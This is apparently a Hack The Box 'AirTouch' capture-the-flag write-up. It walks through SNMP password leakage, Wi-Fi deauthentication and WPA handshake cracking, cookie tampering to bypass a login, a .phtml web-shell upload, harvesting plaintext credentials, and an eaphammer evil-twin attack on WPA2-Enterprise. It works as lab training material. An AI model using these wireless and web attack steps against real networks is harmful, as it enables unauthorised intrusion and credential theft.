htb airtouch

Information Gathering

A TCP scan reveals that only port 22 is open. Performing a UDP scan: sudo nmap -sU --top-ports 100 -sV 10.129.244.98

PORT    STATE         SERVICE VERSION
68/udp  open|filtered dhcpc
161/udp open          snmp    SNMPv1 server; net-snmp SNMPv3 server (public)

Vulnerability Analysis

➜  AirTouch snmp-check 10.129.244.98
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Attempting to connect to 10.129.244.98:161 using SNMPv1 and the community string 'public'

[*] System information:
  Host IP address: 10.129.244.98
  Hostname: Consultant
  Description: "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use)."
  Contact: admin@AirTouch.htb
  Location: "Consultant pc"
  Uptime (SNMP): 00:31:29.75
  Uptime (system): 00:30:26.28
  System date: -

Connect to the target using the username “consultant”:

ssh consultant@10.129.244.98
# Enter password: RxBlZhLmOkacNWScmZ6D

After logging in, check the network using ip a. Several network interfaces (wlan0~wlan6) are detected, and a file named diagram-net.png is found in the main folder.

View the image ![[image 133.png]]. We are located in the yellow area; our goal is to access the green enterprise network.

Exploitation (User Flag)

Enable Wi-Fi monitoring mode:

sudo airmon-ng start wlan0

After executing this command, the network interface is renamed from wlan0 to wlan0mon (where “mon” stands for “monitor”).

• Note: From now on, use wlan0mon instead of wlan0 when executing commands.

Start monitoring:

sudo airodump-ng wlan0mon

![[image 134.png]] The BSSID represents the MAC address, and CH represents the channel.

Capture packets:

# Options explanation:
# -c 6: Only monitor channel 6 (to avoid random channel switching)
# --bssid ...: Filter packets based on the MAC address of the target router (to eliminate irrelevant noise)
# -w capture: Save captured packets to a file with the prefix “capture”
# wlan0mon: The name of the monitoring network interface
sudo airodump-ng -c 6 --bssid F0:9F:C2:A3:F1:A7 -w capture wlan0mon

We detect the packet F0:9F:C2:A3:F1:A7 28:6C:07:FE:A3:22 -29 54 -54 0 62 AirTouch-Internet.

To force the target to re-enter the Wi-Fi password, send attack packets:

# -0 10: Send 10 attack packets; you can increase this number to 20 or 50 as needed

-a [BSSID]: The MAC address of the router

-c [STATION]: The MAC address of the client/victim (please replace the question mark with the actual address)

wlan0mon: The name of your network interface

sudo aireplay-ng -0 10 -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22 wlan0mon

When you see the WPA handshake message F0:9F:C2:A3:F1:A7 in the first window, it means you have obtained all the data needed to crack the password.

Cracking the password

sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

This will extract the challenge value, which is used in the password cracking process.

Generate a connection configuration file:

wpa_passphrase AirTouch-Internet challenge > wpa_internet.conf
echo "p2p_disabled=1" >> wpa_internet.conf

Use wpa_supplicant to load the configuration file and connect through the wlan1 network interface:

# `-B`: Runs the process in the background
# `-i`: Specifies the network interface
# `-c`: Specifies the configuration file
sudo wpa_supplicant -B -i wlan1 -c wpa_internet.conf

Request an IP address from the router:

sudo dhclient wlan1

Scan for active hosts:

# Scan all hosts in the 192.168.3.x range
for i in {1..254}; do ping -c 1 -W 1 192.168.3.$i > /dev/null 2>&1 & done; wait; echo "Scan completed, please check the ARP table"
# View the ARP table
ip neigh

Check if port 80 (common for web servers) is open on 192.168.3.1:

# Set the target IP address
target="192.168.3.1"

echo "Scanning $target..."

Scan the first 1000 common ports (you can modify {1..1000} to {1..65535})

for port in {20..1000}; do

Attempt to connect using the /dev/tcp feature without displaying error messages

(echo > /dev/tcp/$target/$port) >/dev/null 2>&1 && echo ”🔓 Open port found: $port” & done; wait echo “Scan completed.”

Save this script in a file, for example, `scan.sh`.

```bash
consultant@AirTouch-Consultant:~$ bash scan.sh
Scanning port 192.168.3.1...
🔓 Open port found: 22
🔓 Open port found: 53
🔓 Open port found: 80

To forward traffic to port 80:

sshpass -p 'RxBlZhLmOkacNWScmZ6D' ssh -L 8080:192.168.3.1:80 consultant@10.129.244.98

After logging in, you will be presented with a login interface.

To decrypt the traffic captured in Wireshark using eapol protocol:

1. In the Wireshark menu bar, select Edit -> Preferences.
2. Expand Protocols and find IEEE 802.11.
3. Click Edit next to Decryption keys.
4. Add a new record with the following settings:
   • Key type: wpa-pwd
   • Key: challenge:AirTouch-Internet (format: password:SSID)
5. Click OK.

Then search for http.cookie to find the value PHPSESSID=2h7gtgfa6q8dsk5gev2eir8473;UserRole=user.

Use this cookie and change UserRole to admin to bypass the login.

After logging in, you will be on a page where you can upload files. If you try to upload a PHP or HTML file, you will receive an error message. However, you can bypass this by renaming the file to shell.phtml.

We use the webphp script. After uploading, check the login.php file to obtain the passwords JunDRDZKHDnpkpDDvay and 2wLFYNh4TSTgA5sNgT4:

if (isset($_POST['Submit'])) {
  /* Define the username, password, and user attribute array */
  $logins = array(
    /* 'user' => array('password' => 'JunDRDZKHDnpkpDDvay', 'role' => 'admin'), */
    'manager' => array('password' => '2wLFYNh4TSTgA5sNgT4', 'role' => 'user')
  );
}

To log in, use the following command:

ssh user@192.168.3.1
# Enter the password: JunDRDZKHDnpkpDDvay

You will be granted the user role. Using sudo -l, you will have administrative privileges (all).

After upgrading your privileges, you can find the files user.txt and send_certs.txt in the root folder:

root@AirTouch-AP-PSK:~# cat send_certs.sh
#!/bin/bash

# This script is used to synchronize the certificates to the AirTouch-office folder.
# DO NOT copy it.
REMOTE_USER="remote"
REMOTE_PASSWORD="xGgWEwqUpfoOVsLeROeG"
REMOTE_PATH="~/certs-backup/"
LOCAL_FOLDER="/root/certs-backup/"

Using sshpass to transfer the folder via SCP

sshpass -p “$REMOTE_PASSWORD" scp -r "$LOCAL_FOLDER” “$REMOTE_USER@10.10.10.1:$REMOTE_PATH”

Privilege Escalation (Root Flag)

A script named send_certs.sh was found in the /root directory. This script automatically backs up certificates to the next hop in the network: the AirTouch-Office gateway (10.10.10.1). The script contains the plaintext credentials for a user named remote.

We have reached the edge of the corporate VLAN (10.10.10.0/24). The WiFi network AirTouch-Office uses WPA2-Enterprise (802.1X) encryption. Unlike a home/PSK network, this network authenticates users via a RADIUS server, typically using a username and password (PEAP-MSCHAPv2).

You cannot crack WPA2-Enterprise packets by guessing the pre-shared key (PSK). Instead, we must perform an Evil Twin attack.

Monitoring the 5GHz channel to steal data from AirTouch-Office:

consultant@AirTouch-Consultant:~$ sudo airodump-ng --band a wlan0mon
CH 108 ][ Elapsed: 24 s ][ 2026-01-25 17:11
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
AC:8B:A9:AA:3F:D2  -28       15        1    0  44   54e  WPA2 CCMP   MGT  AirTouch-Office
AC:8B:A9:F3:A1:13  -28       15        1    0  44   54e  WPA2 CCMP   MGT  AirTouch-Office
52:49:1E:8E:B7:5F  -28      280        0    0   1   54        TKIP   PSK  vodafoneFB6N
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
(not associated)   28:6C:07:12:EE:A1  -29    0 - 1      0        2         AirTouch-Office
AC:8B:A9:F3:A1:13  C8:8A:9A:6F:F9:D2  -29    0 - 6e   460        7         AccessLink,AirTouch-Office

Performing an Evil Twin attack using the eaphammer tool:

# Replace `wlan4` with the actual name of your network interface
sudo ./eaphammer -i wlan4 \
    --essid AirTouch-Office \
    --creds \
    --server-cert server.crt \
    --private-key server.key \
    --ca-cert ca.crt \
    --auth wpa-eap \
    --channel 44

Reopen a terminal to fix the network interface to channel 44:

sudo airodump-ng -c 44 wlan0mon

Attempting to remove a user from the network:

# Syntax: sudo aireplay-ng -0 [number_of Attempts] -a [MAC of the target AP] -c [MAC of the victim] [interface]
sudo aireplay-ng -0 10 -a AC:8B:A9:AA:3F:D2 -c [] wlan0mon

Alternatively, a broadcast attack can be used (but brute-force methods are easily detectable):

sudo aireplay-ng -0 10 -a AC:8B:A9:AA:3F:D2 wlan0mon

The following response is received: jtr NETNTLM: r4ulcl:$NETNTLM$a4c27aa6b39622a3$9f984f937bb10edd63e22f25bcb9af3b545b5843631392d2

Crack the password for r4ulcl:laboratory.

Network Configuration:

network {
    ssid="AirTouch-Office"
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="AirTouch\r4ulcl"
    password="laboratory"
    phase2="auth=MSCHAPV2"
}

Use the following command to connect to the network: sudo wpa_supplicant -i wlan3 -c wpa.conf -B Then, use sudo dhclient wlan3 to request an IP address.

Connect to the Remote Host: ssh remote@10.10.10.1 Password: xGgWEwqUpfoOVsLeROeG

View Running Processes: ps -ef Output:

root          46      28  0 17:06 ?        00:00:09 hostapd_aps /root/mgt/hostapd_wpe.conf
root          47      28  0 17:06 ?        00:00:09 hostapd_aps /root/mgt/hostapd_wpe2.conf

Finally, find the password for the user admin in the file /etc/hostapd/hostapd_wpe.eap_user.

Finally, execute sudo su to gain administrative privileges.

Lessons Learned